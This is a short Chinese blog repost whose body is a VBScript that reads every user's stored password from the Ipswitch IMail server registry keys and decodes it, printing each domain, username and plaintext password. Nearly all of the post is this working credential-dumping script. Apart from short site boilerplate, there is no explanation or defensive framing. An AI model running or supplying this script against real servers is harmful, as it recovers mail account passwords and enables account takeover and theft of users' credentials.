CFSDN坚持开源创造价值，我们致力于搭建一个资源共享平台，让每一个IT人在这里找到属于你的精彩世界.

这篇CFSDN的博客文章vbs imail 密码解密由作者收集整理，如果你对这篇文章有兴趣，记得点赞哟.

复制代码 代码如下

on error resume next const HKEY_LOCAL_MACHINE = &H80000002 strComputer = "." Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_ strComputer & "\root\default:StdRegProv") strKeyPath = "SOFTWARE\Ipswitch\IMail\Domains" oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, arrSubKeys For Each subkey In arrSubKeys wscript.echo "Domain: "&subkey strKeyPath2 = strKeyPath&"\"&subkey&"\Users" oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath2, arrSubKeys2 For Each subkey2 In arrSubKeys2 strKeyPath3=strKeyPath2&"\"&subkey2 strValueName = "Password" oReg.GetStringValue HKEY_LOCAL_MACHINE,strKeyPath3,strValueName,strValue if len(subkey2) and len(strValue) then wscript.echo subkey2 &" : " & decrypt(subkey2,strValue) end if Next Next function decrypt(name,pass) while len(name)<len(pass)/2 name=name&name wend for i=0 to len(pass)/2-1 p=mid(pass,2*i+1,2) p="&H"&p n=mid(name,i+1,1) decrypt=decrypt&chr(clng(p)-asc(n)) next end function 。

最后此篇关于vbs imail 密码解密的文章就讲到这里了,如果你想了解更多关于vbs imail 密码解密的内容请搜索CFSDN的文章或继续浏览相关文章，希望大家以后支持我的博客！ 。